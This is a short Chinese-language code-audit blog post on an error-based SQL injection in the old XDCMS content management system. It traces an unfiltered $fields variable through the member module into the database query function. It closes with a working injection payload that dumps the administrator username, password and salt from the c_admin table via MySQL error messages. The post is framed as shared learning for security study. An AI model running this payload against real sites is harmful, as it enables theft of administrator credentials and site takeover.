【代码审计】XDCMS 报错注入
审计的都是之前很老的一些的CMS,把学习的过程分享出来,如果有正在和我一起学习的兄弟们,希望看到文章之后会有所收获
--------------------------------------------------------------------------------------------------------------------------------------
在system/moudles/member/index.php中
上述代码可以看到$fields 没有被过滤,跟踪$fields这个变量。
在83行把重新组合的值传入到 $field_sql中,继续跟踪$field_sql 这个变量
我们跟踪query这个函数 在system/libs/mysql.class.php中
如果操作失败,会出现一些错误信息。这里我们输入语句就会显示账号密码
参考EXP:
(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e) from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)#